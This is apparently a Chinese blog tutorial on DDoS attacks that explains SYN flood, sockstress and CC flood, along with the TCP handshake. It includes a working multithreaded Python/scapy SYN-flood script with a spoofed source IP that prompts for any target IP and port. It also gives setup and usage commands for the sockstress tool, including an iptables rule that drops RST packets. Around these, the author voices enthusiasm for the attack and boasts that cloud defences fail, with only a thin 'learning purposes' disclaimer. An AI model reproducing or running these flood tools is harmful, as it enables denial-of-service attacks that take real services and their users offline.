浅谈DDOS(一)
WARNING
本文提供的脚本和思路仅为是为了学习用途,如造成了相关的危害,使用者自行承担相关的法律责任.
DDOS攻击
各大电商平台刚刚经受了最大了一波DDOS攻击,DDOS攻击作为最古老的攻击方式之一,即使到现在威力也是非常强劲,所以个人十分喜爱DDOS这种攻击方式。
DDOS分类
1、syn-flood
tcp/udp
2、sock-stress
sock-stress攻击正好与Syn-Flood攻击原理相悖,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同它
并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务端的内存、CPU等资源让受害者宕机,属于非对称的资
源消耗攻击,这种攻击方式的危害性极大,而且一旦遭受分布式攻击是几乎不能被抵御的.
3、cc-flood
攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(ChallengeCollapsar)。CC主要是用来攻击页面的。
大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越多,论坛的页面越多,
数据库压力就越大,被访问的频率也越高,占用的系统资源也就相当可观,所以“双十一”的攻击方式属于CC这个范畴.
4、mid-flood
中间件/基础框架的DDOS,这种DDOS主要是因为第三方框架/基本服务漏洞造成的,比如struts2、mysql,具体CVE我忘记了,自行google
攻击的过程如下图:
三次握手
在介绍具体的方式之前,简述一下三次握手.
1.第一次握手:Client将标志位(也就是flags位)SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT
状态,等待Server确认.
2.第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一
个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态.
3.第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据发给Server,
Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随
后Client与Server之间可以开始传输数据了.
syn-flood攻击原理
1.攻击者先向目标机发送SYN包,请求建立TCP连接.
2.目标机接收到SYN包之后,便会进入SYN_RCVD状态,然后又给攻击者回一个SYN-ACK包.
3.如果攻击者发送SYN包时用的是伪造IP地址,那么目标机发送的SYN-ACK就很可能不可达,得不到ACK来建立完整的三次握手连接,这时
目标机就会保持SYN_RCVD状态直到timeout。想象一下,如果我们一直发送SYN包请求连接,但是又不和目标机器建立完整的TCP连接.
4.如果攻击者用的是本主机真实的IP地址的话,那么攻击者接受到ACK之后正常情况下会回复一个RST包(为什么不是ACK呢,因为攻击时
我们是用pyhton的scapy库来发包的,本地网卡并不认为自己发送了SYN包,莫名奇妙接收到一个SYN-ACK包当然会回复RST包.所以需要
drop掉RST包
syn-flood-code-依赖
sudo pip install scapy
sudo pip install pcapy
git clone git clone https://github.com/dugsong/libdnet.git
cd libdnet
./configure && make
cd python/
python setup.py install
syn-flood python:
from scapy.all import *
import threading
import random
def Syn_flood(target_ip, target_port):
while True:
port = random.randint(0,10000)
send(IP(src="1.1.1.1", dst=target_ip)/TCP(dport=target_port, sport=port),verbose=0)
def main(target_ip, target_port, threads):
print "BEGIN TO ATTACK TARGET"
for i in range(0, threads):
t = threading.Thread(target=Syn_flood, args=(target_ip, target_port))
t.start()
if __name__== "__main__":
target_ip = raw_input("Please input the target_ip: ")
target_port = int(raw_input("Please input the target_port: "))
threads = int(raw_input("Please input the threads: "))
main(target_ip, target_port, threads)
sock-stress
1.首先,攻击者大量请求建立三次握手连接.
2.成功建立ESTABLISHED之后,攻击者会将数据包中window的值置为0(window的意思代表client这边一次可以接受的数据大小,置为0之后
表示client没有window来接受server发来的数据,然后server就会分配内存来维持TCP连接直到client有空闲的window与之通信),然而
攻击者可不会维持什么连接,他只会不断的请求TCP连接耗尽server的资源.
3.当server这端维持连接达到一定数量之后,内存、CPU甚至是SWAP分区都会被耗尽,系统命令不能正常执行.
sock-stress-code
git clone https://github.com/defuse/sockstress
cd sockstress
make
iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xx.xx.xx.xx -j DROP
./sockstress xx.xx.xx.xx:80 eth0 -p payloads/http -d 100
END
阿里云也挡不住~因为压根就没有使用分布式